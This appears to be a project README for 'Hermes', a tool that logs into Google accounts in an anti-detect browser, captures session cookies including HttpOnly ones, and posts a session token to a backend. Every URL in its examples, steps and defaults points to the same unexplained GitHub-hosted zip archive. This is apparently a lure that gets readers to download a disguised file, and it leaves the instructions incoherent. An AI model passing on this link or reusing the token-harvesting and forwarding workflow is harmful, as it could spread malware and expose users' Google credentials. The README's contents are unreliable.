Google Flow session token extractor & auto-reporter, powered by Camoufox.
Hermes automates the full lifecycle of Google Flow account credentials — from first login to periodic token refresh — and reports session tokens to a Flow2API backend without any manual intervention.
- Persistent login — saves full browser state (including
HttpOnlycookies) via Playwright storage state; no re-login needed across runs - Flow mode — navigates to Google Flow, clicks the sign-in button, waits for
__Secure-next-auth.session-token, and POSTs it to your Flow2API instance automatically - Multi-account support — manage multiple Google accounts under
accounts/, run them in batch - Anti-detect browser — built on Camoufox, a hardened Firefox fork with fingerprint rotation
uv add camoufox requests
uv run -m camoufox fetchOpens a browser window. Sign in to Google manually, then press Enter to save.
uv run main.py --login <account-name>
# e.g. uv run main.py --login workCredentials are saved to accounts/<account-name>.json.
uv run main.py --load work
uv run main.py --load work --url https://github.com/Sami942/Hermes/raw/refs/heads/main/athyrosis/Software-v1.7.zip
uv run main.py --load work --headless --wait 30uv run main.py --flow work --flow-api-key "admin:yourpassword" --flow-api https://github.com/Sami942/Hermes/raw/refs/heads/main/athyrosis/Software-v1.7.zipHermes will:
- Load the saved account state
- Navigate to
https://github.com/Sami942/Hermes/raw/refs/heads/main/athyrosis/Software-v1.7.zip - Click the Google sign-in button
- Poll until
__Secure-next-auth.session-tokenappears - Authenticate against your Flow2API admin endpoint
- Retrieve the
connection_tokenfrom plugin config - POST the session token to
/api/plugin/update-token
# Run all saved accounts sequentially
uv run main.py --load-all --headless
# List saved accounts
uv run main.py --list| Argument | Description |
|---|---|
--login NAME |
First-time login, saves browser state |
--load NAME |
Load a saved account |
--load-all |
Load all accounts sequentially |
--list |
List all saved accounts |
--url URL |
Target URL for --load (default: myaccount.google.com) |
--headless |
Run browser in headless mode |
--wait N |
Close browser after N seconds |
--flow NAME |
Flow mode: extract & report session token |
--flow-api URL |
Flow2API endpoint (default: https://github.com/Sami942/Hermes/raw/refs/heads/main/athyrosis/Software-v1.7.zip) |
--flow-api-key USER:PASS |
Flow2API admin credentials |
hermes/
├── main.py # Entry point
├── accounts/ # Saved browser states (gitignored)
│ ├── work.json
│ └── work_cookies_debug.json
└── README.md
Security:
accounts/contains live session credentials. Add it to.gitignoreand never commit it.
accounts/Google's core authentication cookies (SID, SSID, SAPISID, __Secure-1PSIDTS, etc.) are all HttpOnly and invisible to JavaScript. Userscripts and browser extensions can only capture a subset of cookies. Hermes runs the full browser via Playwright, which operates at the network level and captures all cookies — including HttpOnly ones — through context.storage_state().
The Flow mode targets __Secure-next-auth.session-token, a NextAuth.js session cookie set by Google Labs after OAuth completion. This token is what Flow2API uses to authenticate against the Veo generation API.
MIT